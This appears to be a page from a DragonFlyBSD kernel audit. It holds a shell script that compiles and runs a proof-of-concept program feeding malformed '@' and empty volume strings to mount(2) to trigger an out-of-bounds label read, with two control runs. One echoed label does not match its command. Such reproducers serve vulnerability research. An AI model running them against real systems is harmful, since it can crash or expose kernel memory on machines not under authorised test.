DragonFlyBSD Kernel Audit
DF-2622 / run_2622.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2622 only: mount(2) with '@' / '' volume strings -> label[-1] read.
cd /root/poc/dfv
cc -O -o mnt2622 mnt2622.c || exit 1
echo "=== DF-2622 run A: volume='@' ==="
./mnt2622 '@' /mnt/h2x
echo "=== DF-2622 run B: volume='' (empty) ==="
./mnt2622 '' /mnt/h2x
echo "=== DF-2622 run C (control): volume='/dev/vn0@nosuchlabel' ==="
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /root/poc/dfv/base2623.img
./mnt2622 '/dev/vn0@nosuchlabel' /mnt/h2x
echo "=== DF-2622 run D (control): volume='/dev/vn0s1d@' (trailing @, real slice) ==="
./mnt2622 '/dev/vn0@' /mnt/h2x
vnconfig -u vn0
echo DF2622_DONE